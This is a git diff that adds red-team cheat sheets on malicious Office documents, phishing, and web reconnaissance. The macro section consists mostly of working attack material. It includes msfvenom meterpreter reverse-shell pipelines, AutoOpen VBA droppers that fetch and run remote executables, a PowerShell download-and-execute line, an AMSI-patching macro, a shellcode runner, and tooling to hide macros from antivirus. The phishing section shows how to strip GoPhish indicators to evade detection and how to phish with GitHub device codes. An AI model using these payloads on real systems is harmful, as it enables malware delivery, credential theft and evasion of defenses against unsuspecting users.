--obfuscate Obfuscate code (remove spaces, obfuscate strings, obfuscate functions and variables name) + +# Execute a command +echo "calc.exe" | macro_pack.exe -t CMD -G cmd.xsl + +# Download and execute a file +echo "" | macro_pack.exe -t DROPPER -o -G dropper.xls + +# Meterpreter reverse TCP template using MacroMeter by Cn33liz +echo | macro_pack.exe -t METERPRETER -o -G meter.docm + +# Drop and execute embedded file +macro_pack.exe -t EMBED_EXE --embed=c:\windows\system32\calc.exe -o -G my_calc.vbs + +# Obfuscate the vba file generated by msfvenom and put result in a new vba file. +msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba | macro_pack.exe -o -G meterobf.vba + +# Obfuscate Empire stager vba file and generate a MS Word document: +macro_pack.exe -f empire.vba -o -G myDoc.docm + +# Generate an MS Excel file containing an obfuscated dropper (download payload.exe and store as dropped.exe) +echo "https://myurl.url/payload.exe" "dropped.exe" | macro_pack.exe -o -t DROPPER -G "drop.xlsm" + +# Execute calc.exe via Dynamic Data Exchange (DDE) attack +echo calc.exe | macro_pack.exe --dde -G calc.xslx + +# Download and execute file via powershell using Dynamic Data Exchange (DDE) attack +macro_pack.exe --dde -f ..\resources\community\ps_dl_exec.cmd -G DDE.xsl + +# PRO: Generate a Word file containing VBA self encoded x64 reverse meterpreter VBA payload (will bypass most AV). +msfvenom.bat -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba | macro_pack.exe -o --autopack --keep-alive -G out.docm + +# PRO: Trojan a PowerPoint file with a reverse meterpreter. Macro is obfuscated and mangled to bypass AMSI and most antiviruses. +msfvenom.bat -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba | macro_pack.exe -o --autopack --trojan -G hotpics.pptm + +# PRO: Generate an HTA payload able to run a shellcode via Excel injection +echo meterx86.bin meterx64.bin | macro_pack.exe -t AUTOSHELLCODE --run-in-excel -o -G samples\nicepic.hta +echo meterx86.bin meterx64.bin | macro_pack.exe -t AUTOSHELLCODE -o --hta-macro --run-in-excel -G samples\my_shortcut.lnk + +# PRO: XLM Injection +echo "MPPro" | macro_pack.exe -G _samples\hello.doc -t HELLO --xlm --run-in-excel + +# PRO: ShellCode Exec - Heap Injection, AlternativeInjection +echo "x32calc.bin" | macro_pack.exe -t SHELLCODE -o --shellcodemethod=HeapInjection -G test.doc +echo "x32calc.bin" | macro_pack.exe -t SHELLCODE -o --shellcodemethod=AlternativeInjection --background -G test.doc + +# PRO: More shellcodes +echo x86.bin | macro_pack.exe -t SHELLCODE -o -G test.pptm –keep-alive +echo "x86.bin" "x64.bin" | macro_pack.exe -t AUTOSHELLCODE -o –autopack -G sc_auto.doc +echo "http://192.168.5.10:8080/x32calc.bin" "http://192.168.5.10:8080/x64calc.bin" | macro_pack.exe -t DROPPER_SHELLCODE -o --shellcodemethod=ClassicIndirect -G samples\sc_dl.xls +``` + +### DOCM - BadAssMacros + +> C# based automated Malicous Macro Generator. + +* [Inf0secRabbit/BadAssMacros](https://github.com/Inf0secRabbit/BadAssMacros) + +```powershell +BadAssMacros.exe -h + +# Create VBA for classic shellcode injection from raw shellcode +BadAssMacros.exe -i -w -p no -s classic -c -o +BadAssMacros.exe -i .\Desktop\payload.bin -w doc -p no -s classic -c 23 -o .\Desktop\output.txt + +# Create VBA for indirect shellcode injection from raw shellcode +BadAssMacros.exe -i -w -p no -s indirect -o + +# List modules inside Doc/Excel file +BadAssMacros.exe -i -w -p yes -l + +# Purge Doc/Excel file +BadAssMacros.exe -i -w -p yes -o -m +``` + +### DOCM - CACTUSTORCH VBA Module + +> CactusTorch is leveraging the DotNetToJscript technique to load a .Net compiled binary into memory and execute it from vbscript + +* [mdsecactivebreach/CACTUSTORCH](https://github.com/mdsecactivebreach/CACTUSTORCH) +* [tyranid/DotNetToJScript](https://github.com/tyranid/DotNetToJScript) +* [CACTUSTORCH - DotNetToJScript all the things](https://youtu.be/YiaKb8nHFSY) +* [CACTUSTORCH - CobaltStrike Aggressor Script Addon](https://www.youtube.com/watch?v=_pwH6a-6yAQ) + +1. Import **.cna** in Cobalt Strike +2. Generate a new VBA payload from the CACTUSTORCH menu +3. Download DotNetToJscript +4. Compile it + * **DotNetToJscript.exe** - responsible for bootstrapping C# binaries (supplied as input) and converting them to JavaScript or VBScript + * **ExampleAssembly.dll** - the C# assembly that will be given to DotNetToJscript.exe. In default project configuration, the assembly just pops a message box with the text "test" +5. Execute **DotNetToJscript.exe** and supply it with the ExampleAssembly.dll, specify the output file and the output type + + ```ps1 + DotNetToJScript.exeExampleAssembly.dll -l vba -o test.vba -c cactusTorch + ``` + +6. Use the generated code to replace the hardcoded binary in CactusTorch + +### DOCM - MMG with Custom DL + Exec + +1. Custom Download in first Macro to "C:\\Users\\Public\\beacon.exe" +2. Create a custom binary execute using MMG +3. Merge both Macro + +```ps1 +git clone https://github.com/Mr-Un1k0d3r/MaliciousMacroGenerator +python MMG.py configs/generic-cmd.json malicious.vba +{ + "description": "Generic command exec payload\nEvasion technique set to none", + "template": "templates/payloads/generic-cmd-template.vba", + "varcount": 152, + "encodingoffset": 5, + "chunksize": 180, + "encodedvars": {}, + "vars": [], + "evasion": ["encoder"], + "payload": "cmd.exe /c C:\\Users\\Public\\beacon.exe" +} +``` + +```vb +Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long + +Public Function DownloadFileA(ByVal URL As String, ByVal DownloadPath As String) As Boolean + On Error GoTo Failed + DownloadFileA = False + 'As directory must exist, this is a check + If CreateObject("Scripting.FileSystemObject").FolderExists(CreateObject("Scripting.FileSystemObject").GetParentFolderName(DownloadPath)) = False Then Exit Function + Dim returnValue As Long + returnValue = URLDownloadToFile(0, URL, DownloadPath, 0, 0) + 'If return value is 0 and the file exist, then it is considered as downloaded correctly + DownloadFileA = (returnValue = 0) And (Len(Dir(DownloadPath)) > 0) + Exit Function + +Failed: +End Function + +Sub AutoOpen() + DownloadFileA "http://10.10.10.10/macro.exe", "C:\\Users\\Public\\beacon.exe" +End Sub + + +Sub Auto_Open() + DownloadFileA "http://10.10.10.10/macro.exe", "C:\\Users\\Public\\beacon.exe" +End Sub +``` + +### DOCM - ActiveX-based (InkPicture control, Painted event) Autorun macro + +Go to **Developer tab** on ribbon `-> Insert -> More Controls -> Microsoft InkPicture Control` + +```vb +Private Sub InkPicture1_Painted(ByVal hDC As Long, ByVal Rect As MSINKAUTLib.IInkRectangle) +Run = Shell("cmd.exe /c PowerShell (New-Object System.Net.WebClient).DownloadFile('https:///file.exe','file.exe');Start-Process 'file.exe'", vbNormalFocus) +End Sub +``` + +### VBA Obfuscation + +* [bonnetn/vba-obfuscator](https://github.com/bonnetn/vba-obfuscator) [Youtube demo](https://www.youtube.com/watch?v=L0DlPOLx2k0) + + ```ps1 + cat example_macro/download_payload.vba | docker run -i --rm bonnetn/vba-obfuscator /dev/stdin + ``` + +* [trustedsec/The_Shelf/spinningteacup](https://github.com/trustedsec/The_Shelf/tree/main/Retired/spinningteacup) + +### VBA Purging + +**VBA Stomping**: This technique allows attackers to remove compressed VBA code from Office documents and still execute malicious macros without many of the VBA keywords that AV engines had come to rely on for detection. == Removes P-code. + +:warning: VBA stomping is not effective against Excel 97-2003 Workbook (.xls) format. + +#### OfficePurge + +* [fireeye/OfficePurge](https://github.com/fireeye/OfficePurge/releases/download/v1.0/OfficePurge.exe) + +```powershell +OfficePurge.exe -d word -f .\malicious.doc -m NewMacros +OfficePurge.exe -d excel -f .\payroll.xls -m Module1 +OfficePurge.exe -d publisher -f .\donuts.pub -m ThisDocument +OfficePurge.exe -d word -f .\malicious.doc -l +``` + +#### EvilClippy + +> Evil Clippy uses the OpenMCDF library to manipulate CFBF files. +> Evil Clippy compiles perfectly fine with the Mono C# compiler and has been tested on Linux, OSX and Windows. +> If you want to manipulate CFBF files manually, then FlexHEX is one of the best editors for this. + +```ps1 +# OSX/Linux +mcs /reference:OpenMcdf.dll,System.IO.Compression.FileSystem.dll /out:EvilClippy.exe *.cs +# Windows +csc /reference:OpenMcdf.dll,System.IO.Compression.FileSystem.dll /out:EvilClippy.exe *.cs + +EvilClippy.exe -s fake.vbs -g -r cobaltstrike.doc +EvilClippy.exe -s fakecode.vba -t 2016x86 macrofile.doc +EvilClippy.exe -s fakecode.vba -t 2013x64 macrofile.doc + +# make macro code unaccessible is to mark the project as locked and unviewable: -u +# Evil Clippy can confuse pcodedmp and many other analysis tools with the -r flag. +EvilClippy.exe -r macrofile.doc +``` + +### VBA - Offensive Security Template + +* Reverse Shell VBA - [JohnWoodman/VBA-Macro-Reverse-Shell/VBA-Reverse-Shell.vba](https://github.com/JohnWoodman/VBA-Macro-Reverse-Shell/blob/main/VBA-Reverse-Shell.vba) +* Process Dumper - [JohnWoodman/VBA-Macro-Dump-Process](https://github.com/JohnWoodman/VBA-Macro-Dump-Process) +* RunPE - [itm4n/VBA-RunPE](https://github.com/itm4n/VBA-RunPE) +* Spoof Parent - [py7hagoras/OfficeMacro64](https://github.com/py7hagoras/OfficeMacro64) +* AMSI Bypass - [outflanknl/AMSIbypasses.vba](https://github.com/outflanknl/Scripts/blob/master/AMSIbypasses.vba) +* amsiByPassWithRTLMoveMemory - [DanShaqFu/amsiByPassWithRTLMoveMemory.vba](https://gist.github.com/DanShaqFu/1c57c02660b2980d4816d14379c2c4f3) +* VBA macro spawning a process with a spoofed parent - [christophetd/spoofing-office-macro/macro64.vba](https://github.com/christophetd/spoofing-office-macro/blob/master/macro64.vba) + +### VBA - AMSI + +> The Office VBA integration with AMSI is made up of three parts: (a) logging macro behavior, (b) triggering a scan on suspicious behavior, and (c) stopping a malicious macro upon detection. [Office VBA + AMSI: Parting the veil on malicious macros by Microsoft Security Team](https://www.microsoft.com/security/blog/2018/09/12/office-vba-amsi-parting-the-veil-on-malicious-macros/) + +![runtime-scanning-amsi](https://www.microsoft.com/security/blog/wp-content/uploads/2018/09/fig2-runtime-scanning-amsi-8-1024x482.png) + +:warning: It appears that p-code based attacks where the VBA code is stomped will still be picked up by the AMSI engine (e.g. files manipulated by our tool EvilClippy). + +The AMSI engine only hooks into VBA, we can bypass it by using Excel 4.0 Macro + +* AMSI Trigger - [synacktiv/AMSI-Bypass](https://github.com/synacktiv/AMSI-Bypass) + +```vb +Private Declare PtrSafe Function GetProcAddress Lib "kernel32" (ByVal hModule As LongPtr, ByVal lpProcName As String) As LongPtr +Private Declare PtrSafe Function LoadLibrary Lib "kernel32" Alias "LoadLibraryA" (ByVal lpLibFileName As String) As LongPtr +Private Declare PtrSafe Function VirtualProtect Lib "kernel32" (lpAddress As Any, ByVal dwSize As LongPtr, ByVal flNewProtect As Long, lpflOldProtect As Long) As Long +Private Declare PtrSafe Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As LongPtr) + +Private Sub Document_Open() + Dim AmsiDLL As LongPtr + Dim AmsiScanBufferAddr As LongPtr + Dim result As Long + Dim MyByteArray(6) As Byte + Dim ArrayPointer As LongPtr + + MyByteArray(0) = 184 ' 0xB8 + MyByteArray(1) = 87 ' 0x57 + MyByteArray(2) = 0 ' 0x00 + MyByteArray(3) = 7 ' 0x07 + MyByteArray(4) = 128 ' 0x80 + MyByteArray(5) = 195 ' 0xC3 + + AmsiDLL = LoadLibrary("amsi.dll") + AmsiScanBufferAddr = GetProcAddress(AmsiDLL, "AmsiScanBuffer") + result = VirtualProtect(ByVal AmsiScanBufferAddr, 5, 64, 0) + ArrayPointer = VarPtr(MyByteArray(0)) + CopyMemory ByVal AmsiScanBufferAddr, ByVal ArrayPointer, 6 + +End Sub +``` + +### DOCX - Template Injection + +:warning: Does not require "Enable Macro" + +#### Remote Template + +1. A malicious macro is saved in a Word template .dotm file +2. Benign .docx file is created based on one of the default MS Word Document templates +3. Document from step 2 is saved as .docx +4. Document from step 3 is renamed to .zip +5. Document from step 4 gets unzipped +6. **.\word_rels\settings.xml.rels** contains a reference to the template file. That reference gets replaced with a reference to our malicious macro created in step 1. File can be hosted on a web server (http) or webdav (smb). + + ```xml + + + ``` + + ```xml + + ``` + +7. File gets zipped back up again and renamed to .docx + +#### Template Injections Tools + +* [JohnWoodman/remoteInjector](https://github.com/JohnWoodman/remoteInjector) +* [ryhanson/phishery](https://github.com/ryhanson/phishery) + +```ps1 +$ phishery -u https://secure.site.local/docs -i good.docx -o bad.docx +[+] Opening Word document: good.docx +[+] Setting Word document template to: https://secure.site.local/docs +[+] Saving injected Word document to: bad.docx +[*] Injected Word document has been saved! +``` + +### DOCX - DDE + +* Insert > QuickPart > Field +* Right Click > Toggle Field Code +* `{ DDEAUTO c:\\windows\\system32\\cmd.exe "/k calc.exe" }` + +## Visual Studio Tools for Office (VSTO) + +A VSTO file is a project file created with Visual Studio Tools for Office, a set of development tools provided by Microsoft for building custom add-ins and solutions for Microsoft Office applications. These projects allow developers to enhance the functionality of Office programs like Excel, Word, and Outlook by integrating additional features, automation, and user interface customizations. + +* Visual Studio > `Word 2013 and 2016 VSTO Add-in` + +## Office Macro Development + +### Execute WinAPI + +To importe Win32 function we need to use the keyword `Private Declare` + +```vb +Private Declare Function Lib "" Alias "" ( As , etc.) As +``` + +If we work on 64bit, we need to add the keyword `PtrSafe` between the keywords `Declare` and `Function` +Importing the `GetUserNameA` from `advapi32.dll`: + +```vb +Private Declare PtrSafe Function GetUserName Lib "advapi32.dll" Alias "GetUserNameA" (ByVal lpBuffer As String, ByRef nSize As Long) As Long +``` + +`GetUserNameA` prototype in C: + +```C +BOOL GetUserNameA( + LPSTR lpBuffer, + LPDWORD pcbBuffer +); +``` + +### Example with a simple Shellcode Runner + +```vb +Private Declare PtrSafe Function VirtualAlloc Lib "Kernel32.dll" (ByVal lpAddress As Long, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr +Private Declare PtrSafe Function RtlMoveMemory Lib "Kernel32.dll" (ByVal lDestination As LongPtr, ByRef sSource As Any, ByVal lLength As Long) As LongPtr +Private Declare PtrSafe Function CreateThread Lib "KERNEL32.dll" (ByVal SecurityAttributes As Long, ByVal StackSize As Long, ByVal StartFunction As LongPtr, ThreadParameter As LongPtr, ByVal CreateFlags As Long, ByRef ThreadId As Long) As LongPtr + +Sub WinAPI() + Dim buf As Variant + Dim addr As LongPtr + Dim counter As Long + Dim data As Long + buf = Array(252, ...) + addr = VirtualAlloc(0, UBound(buf), &H3000, &H40) + For counter = LBound(buf) To UBound(buf) + data = buf(counter) + res = RtlMoveMemory(addr + counter, data, 1) + Next counter + res = CreateThread(0, 0, addr, 0, 0, 0) +End Sub +``` + +## References + +* [AMSI in the heap - rmdavy](https://secureyourit.co.uk/wp/2020/04/17/amsi-in-the-heap/) +* [Analyzing VSTO Office Files - Didier Stevens - April 29, 2022](https://blog.nviso.eu/2022/04/29/analyzing-vsto-office-files/) +* [Anti-Analysis Techniques Used in Excel 4.0 Macros - 24 March 2021 - @Jacob_Pimental](https://www.goggleheadedhacker.com/blog/post/23) +* [Bypassing AMSI fro VBA - Outflank](https://outflank.nl/blog/2019/04/17/bypassing-amsi-for-vba/) +* [Dechaining macros and evading EDR - Noora Hyvärinen - 04/04/19](https://blog.f-secure.com/dechaining-macros-and-evading-edr/) +* [Evil Clippy MS Office Maldoc Assistant - Outflank](https://outflank.nl/blog/2019/05/05/evil-clippy-ms-office-maldoc-assistant/) +* [Excel 4 Macro Generator x86/x64 - bytecod3r](https://bytecod3r.io/excel-4-macro-generator-x86-x64/) +* [Excel 4.0 Macro Function Reference PDF](https://d13ot9o61jdzpp.cloudfront.net/files/Excel%204.0%20Macro%20Functions%20Reference.pdf) +* [Excel 4.0 macro old but new - fsx30](https://medium.com/@fsx30/excel-4-0-macro-old-but-new-967071106be9) +* [Excel 4.0 Macros so hot right now - SneekyMonkey](https://www.sneakymonkey.net/2020/06/22/excel-4-0-macros-so-hot-right-now/) +* [Executing macros from docx with remote - RedXORBlue - July 18, 2018](http://blog.redxorblue.com/2018/07/executing-macros-from-docx-with-remote.html) +* [Further evasion in the forgotten corners of ms xls - malware.pizza](https://malware.pizza/2020/06/19/further-evasion-in-the-forgotten-corners-of-ms-xls/) +* [Inject macro from a remote dotm template - ired.team](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/inject-macros-from-a-remote-dotm-template-docx-with-macros) +* [Macros and more with sharpshooter v2.0 - mdsec](https://www.mdsec.co.uk/2019/02/macros-and-more-with-sharpshooter-v2-0/) +* [Make phishing great again. VSTO office files are the new macro nightmare? - Daniel Schell - Apr 14, 2022](https://medium.com/@airlockdigital/make-phishing-great-again-vsto-office-files-are-the-new-macro-nightmare-e09fcadef010) +* [MS OFFICE FILE FORMAT SORCERY - TROOPERS19 - Pieter Ceelen & Stan Hegt - 21 March 2019](https://github.com/outflanknl/Presentations/blob/master/Troopers19_MS_Office_file_format_sorcery.pdf) +* [Office VBA AMSI Parting the veil on malicious macros - Microsoft](https://www.microsoft.com/security/blog/2018/09/12/office-vba-amsi-parting-the-veil-on-malicious-macros/) +* [Old schoold evil execl 4.0 macros XLM - Outflank](https://outflank.nl/blog/2018/10/06/old-school-evil-excel-4-0-macros-xlm/) +* [One thousand and one ways to copy your shellcode to memory (VBA Macros) - X-C3LL - Feb 18, 2021](https://adepts.of0x.cc/alternatives-copy-shellcode/) +* [Phishing SLK - ired.team](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/phishing-.slk-excel)bypassing-malicious-macro-detections-by-defeating-child-parent-process-relationships) +* [Phishinh with OLE - ired.team](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/phishing-ole-+-lnk) +* [PropertyBomb an old new technique for arbitrary code execution in vba macro - Leon Berlin - 22 May 2018](https://www.bitdam.com/2018/05/22/propertybomb-an-old-new-technique-for-arbitrary-code-execution-in-vba-macro/) +* [Running macros via ActiveX controls - greyhathacker - September 29, 2016](http://www.greyhathacker.net/?p=948) +* [So you think you can block Macros? - Pieter Ceelen - April 25, 2023](https://outflank.nl/blog/2023/04/25/so-you-think-you-can-block-macros/) +* [T1137.006 - Office Application Startup: Add-ins - redcanaryco](https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1137.006/T1137.006.md) +* [VBA RunPE Part 1 - itm4n](https://itm4n.github.io/vba-runpe-part1/) +* [VBA RunPE Part 2 - itm4n](https://itm4n.github.io/vba-runpe-part2/) +* [VBad - Pepitoh](https://github.com/Pepitoh/VBad) +* [VenomousSway - VBA payload generation framework / Retired TrustedSec Capabilities - Trustedsec - May 22, 2024](https://github.com/trustedsec/The_Shelf/tree/main/Retired/venomoussway) +* [VSTO: THE PAYLOAD INSTALLER THAT PROBABLY DEFEATS YOUR APPLICATION WHITELISTING RULES - BOHOPS - JANUARY 31, 2018](https://bohops.com/2018/01/31/vsto-the-payload-installer-that-probably-defeats-your-application-whitelisting-rules/) +* [Windows Defender Exploit Guard ASR Rules for Office - Carlos Perez - November 14, 2017](https://www.darkoperator.com/blog/2017/11/11/windows-defender-exploit-guard-asr-rules-for-office) +* [WordAMSIBypass - rmdavy](https://github.com/rmdavy/WordAmsiBypass) +* [XLS 4.0 macros and covenant - d-sec](https://d-sec.net/2020/10/24/xls-4-0-macros-and-covenant/) diff --git a/personas/_shared/internal-allthethings/redteam/access/phishing.md b/personas/_shared/internal-allthethings/redteam/access/phishing.md new file mode 100644 index 0000000..00f08c4 --- /dev/null +++ b/personas/_shared/internal-allthethings/redteam/access/phishing.md @@ -0,0 +1,85 @@ +# Phishing + +> Phishing is a cybersecurity attack where malicious actors impersonate legitimate organizations (like banks, social media platforms, or email providers) to trick people into revealing sensitive information such as passwords, credit card numbers, or personal data. + +## Opsec Fails + +* **Reusing IPs/Domains**: Using the same IP address or domain across multiple campaigns or malware families. +* **No Domain Privacy**: WHOIS records exposing registrant info (name, email, phone). +* **Same Registrant Email**: Reusing the same email address across domains. +* **Unrotated SSL Certificates**: Self-signed or identical certificates reused across phishing sites. + +## GoPhish + +* [gophish/gophish](https://github.com/gophish/gophish) - Open-Source Phishing Toolkit +* [kgretzky/gophish/](https://github.com/kgretzky/gophish/) - Gophish integration with Evilginx 3.3 +* [puzzlepeaches/sneaky_gophish](https://github.com/puzzlepeaches/sneaky_gophish) - Hiding GoPhish from the boys in blue + +```ps1 +git clone https://github.com/gophish/gophish.git +go build +``` + +### IOC + +* `X-Gophish-Contact` and `X-Gophish-Signature` + + ```ps1 + find . -type f -exec sed -i.bak 's/X-Gophish-Contact/X-Contact/g' {} + + sed -i 's/X-Gophish-Contact/X-Contact/g' models/email_request_test.go + sed -i 's/X-Gophish-Contact/X-Contact/g' models/maillog.go + sed -i 's/X-Gophish-Contact/X-Contact/g' models/maillog_test.go + sed -i 's/X-Gophish-Contact/X-Contact/g' models/email_request.go + + find . -type f -exec sed -i.bak 's/X-Gophish-Signature/X-Signature/g' {} + + sed -i 's/X-Gophish-Signature/X-Signature/g' webhook/webhook.go + ``` + +* Default server name + + ```ps1 + sed -i 's/const ServerName = "gophish"/const ServerName = "IGNORE"/' config/config.go + ``` + +* Default `rid` parameter + + ```ps1 + sed -i 's/const RecipientParameter = "rid"/const RecipientParameter = "keyname"/g' models/campaign.go + ``` + +## Evilginx + +* [kgretzky/evilginx2](https://github.com/kgretzky/evilginx2) - Standalone man-in-the-middle attack framework used for phishing login credentials along with session cookies, allowing for the bypass of 2-factor authentication +* [evilginxpro](https://evilginx.com/) - The phishing framework for red teams + +```ps1 +# List Available Phishlets +phishlets + +# Enable a Phishlet +phishlets enable + +# Disable a Phishlet +phishlets disable +``` + +## Device Code Phishing + +* Github + + ```ps1 + curl -X POST https://github.com/login/device/code \ + -H "Accept: application/json" \ + -d "client_id=01ab8ac9400c4e429b23&scope=user+repo+workflow" + + curl -X POST https://github.com/login/oauth/access_token \ + -H "Accept: application/json" \ + -d "client_id=01ab8ac9400c4e429b23&device_code=be9&&grant_type=urn%3Aietf%3Aparams%3Aoauth%3Agrant-type%3Adevice_code" -k | jq + ``` + +## References + +* [A Smooth Sea Never Made a Skilled Phisherman - Kuba Gretzky - 8 july 2024](https://youtu.be/Nh99d3YnpI4) +* [Introducing: GitHub Device Code Phishing - John Stawinski, Mason Davis, Matt Jackoski - June 12, 2025](https://www.praetorian.com/blog/introducing-github-device-code-phishing/) +* [Never had a bad day phishing. How to set up GoPhish to evade security controls - Nicholas Anastasi - Jun 30, 2021](https://www.sprocketsecurity.com/blog/never-had-a-bad-day-phishing-how-to-set-up-gophish-to-evade-security-controls) +* [Unraveling and Countering Adversary-in-the-Middle Phishing Attacks - Pawel Partyka - 8 july 2024](https://youtu.be/-W-LxcbUxI4) diff --git a/personas/_shared/internal-allthethings/redteam/access/web-attack-surface.md b/personas/_shared/internal-allthethings/redteam/access/web-attack-surface.md new file mode 100644 index 0000000..882cf28 --- /dev/null +++ b/personas/_shared/internal-allthethings/redteam/access/web-attack-surface.md @@ -0,0 +1,156 @@ +# Web Attack Surface + +## Summary + +* [Enumerate Subdomains](#enumerate-subdomains) + * [Subdomains Databases](#subdomains-databases) + * [Bruteforce Subdomains](#bruteforce-subdomains) + * [Certificate Transparency Logs](#certificate-transparency-logs) + * [DNS Resolution](#dns-resolution) + * [Technology Discovery](#technology-discovery) +* [Subdomain Takeover](#subdomain-takover) +* [References](#references) + +## Enumerate Subdomains + +Subdomain enumeration is the process of identifying all subdomains associated with a main domain (e.g., finding `blog.example.com`, `shop.example.com`, etc., for `example.com`). + +### Subdomains Databases + +Many databases and tools aggregate data from a variety of online sources, such as DNS databases, certificate transparency logs, APIs (e.g., Shodan, VirusTotal), and other publicly available sources to compile a comprehensive list of potential subdomains. + +* [projectdiscovery/chaos-client](https://github.com/projectdiscovery/chaos-client) - Go client to communicate with Chaos DB API. + + ```ps1 + chaos -d hackerone.com + ``` + +* [projectdiscovery/subfinder](https://github.com/projectdiscovery/subfinder) - Fast passive subdomain enumeration tool. + + ```ps1 + subfinder -d hackerone.com + ``` + +* [owasp-amass/amass](https://github.com/owasp-amass/amass) - In-depth attack surface mapping and asset discovery + + ```ps1 + amass enum -d example.com + ``` + +* [Findomain/Findomain](https://github.com/Findomain/Findomain) - The complete solution for domain recognition. + + ```ps1 + findomain -t example.com -u /tmp/example.com.out + ``` + +### Bruteforce Subdomains + +Subdomain brute-forcing is a technique used to discover subdomains of a target domain by systematically trying out potential subdomain names against it. This is done by using a predefined list of common or likely subdomain names, known as a wordlist. Each word in the wordlist is appended to the target domain (e.g., admin.example.com, mail.example.com) to check if it resolves to a valid subdomain. + +* [assetnote/wordlists](https://github.com/assetnote/wordlists) +* [danielmiessler/SecLists/Discovery/DNS](https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS) +* [jhaddix/all.txt](https://gist.github.com/jhaddix/f64c97d0863a78454e44c2f7119c2a6a) + +Unlike passive subdomain enumeration, which relies on existing data from sources, brute-forcing actively queries DNS records to discover live subdomains that may not be listed in public databases. + +* [infosec-au/altdns](https://github.com/infosec-au/altdns) - Generates permutations, alterations and mutations of subdomains and then resolves them. + + ```powershell + altdns.py -i /tmp/inputdomains.txt -o /tmp/out.txt -w ./words.txt + ``` + +* [owasp-amass/amass](https://github.com/owasp-amass/amass) - In-depth attack surface mapping and asset discovery. + + ```ps1 + amass enum -active -brute -o /tmp/hosts.txt -d $1 + ``` + +* [projectdiscovery/dnsx](https://github.com/projectdiscovery/dnsx) - A fast and multi-purpose DNS toolkit allow to run multiple DNS queries of your choice with a list of user-supplied resolvers. + + ```ps1 + dnsx -silent -d facebook.com -w dns_worldlist.txt + ``` + +* [subfinder/goaltdns](https://github.com/subfinder/goaltdns) - A permutation generation tool written in golang. + + ```ps1 + altdns -l ./input_domains.txt -o ./output.txt + ``` + +### Certificate Transparency Logs + +Certificate Transparency (CT) logs are public databases that record all SSL/TLS certificates issued by certificate authorities (CAs). These logs are designed to improve the security and transparency of the SSL/TLS ecosystem by making it easier to monitor and audit certificates. + +* [CertStream Calidog](https://certstream.calidog.io/) +* [Meta Certificate Transparency](https://developers.facebook.com/docs/certificate-transparency) +* [Google Certificate Transparency](certificate.transparency.dev) + +### DNS Resolution + +Once you've generated a list of potential subdomains, the next step is to resolve them to retrieve their DNS records (A and AAAA) to obtain their IPv4 and IPv6 addresses. + +* [blechschmidt/massdns](https://github.com/blechschmidt/massdns) + + ```ps1 + cat /tmp/results_subfinder.txt | massdns -r ./resolvers.txt -t A -o S -w /tmp/results_subfinder_resolved.txt + ``` + +* [projectdiscovery/dnsx](https://github.com/projectdiscovery/dnsx) - a fast and multi-purpose DNS toolkit allow to run multiple DNS queries of your choice with a list of user-supplied resolvers. + + ```ps1 + subfinder -silent -d hackerone.com | dnsx -silent -a -resp + subfinder -silent -d hackerone.com | dnsx -silent -cname -resp + subfinder -silent -d hackerone.com | dnsx -silent -asn + echo 173.0.84.0/24 | dnsx -silent -resp-only -ptr + echo AS17012 | dnsx -silent -resp-only -ptr + ``` + +## Technology Discovery + +Technology discovery is the process of identifying the underlying technologies, software, and frameworks used by a website or digital infrastructure. This often includes detecting web servers, CMS platforms, programming languages, databases, JavaScript libraries, and other software components. + +* [projectdiscovery/httpx](https://github.com/projectdiscovery/httpx) - A fast and multi-purpose HTTP toolkit that allows running multiple probes using the retryablehttp library. + + ```ps1 + httpx -u 'https://example.com' -title -tech-detect -status-code -follow-redirects + ``` + +* [projectdiscovery/wappalyzergo](https://github.com/projectdiscovery/wappalyzergo) - A high performance go implementation of Wappalyzer Technology Detection Library. +* [michenriksen/aquatone](https://github.com/michenriksen/aquatone) - A Tool for Domain Flyovers + + ```ps1 + cat hosts.txt | aquatone -ports 80,443,3000,3001 + ``` + +* [rverton/webanalyze](https://github.com/rverton/webanalyze) - Port of Wappalyzer in Go + + ```ps1 + webanalyze -host example.com -crawl 1 + ``` + +* [wappalyzer](https://www.wappalyzer.com/) - Identify technologies on websites. + +## Subdomain Takover + +A subdomain takeover is a type of security vulnerability that occurs when a subdomain (e.g., `sub.example.com`) is still live but its DNS records point to a service or platform (like AWS S3, GitHub Pages, or Heroku) that is no longer active or properly configured. This situation can allow an attacker to claim the unclaimed resource and take control of the subdomain, enabling them to host malicious content or impersonate the legitimate website. + +For example, if `sub.example.com` points to an AWS S3 bucket that has been deleted or abandoned, an attacker could create a new S3 bucket with the same name, gaining control over the subdomain and potentially causing security risks, like phishing attacks or reputational damage to the main domain. + +Refer to [EdOverflow/can-i-take-over-xyz](https://github.com/EdOverflow/can-i-take-over-xyz) for a list of services and guidance on claiming subdomains with dangling DNS records. + +* [projectdiscovery/nuclei-templates/http/takeovers](https://github.com/projectdiscovery/nuclei-templates/tree/main/http/takeovers) - Community curated list of templates for the nuclei engine to find security vulnerabilities. + + ```powershell + nuclei -t nuclei-templates/http/takeovers -u https://example.com + ``` + +* [anshumanbh/tko-subs](https://github.com/anshumanbh/tko-subs) - A tool that can help detect and takeover subdomains with dead DNS records + + ```powershell + ./bin/tko-subs -domains=./lists/domains_tkos.txt -data=./lists/providers-data.csv + ``` + +## References + +* [Subdomain Takeover: Proof Creation for Bug Bounties - Patrik Hudak (@0xpatrik) - May 21, 2018](https://0xpatrik.com/takeover-proofs/) +* [Subdomain Takeover: Basics - Patrik Hudak (@0xpatrik) - June 27, 2018](https://0xpatrik.com/subdomain-takeover-basics/) diff --git a/personas/_shared/internal-allthethings/redteam/access/windows-download-execute.md b/personas/_shared/internal-allthethings/redteam/access/windows-download-execute.md new file mode 100644 index 0000000..7ebfde8 --- /dev/null +++ b/personas/_shared/internal-allthethings/redteam/access/windows-download-execute.md @@ -0,0 +1,121 @@ +# Windows - Download and execute methods + +## Downloaded files location + +- 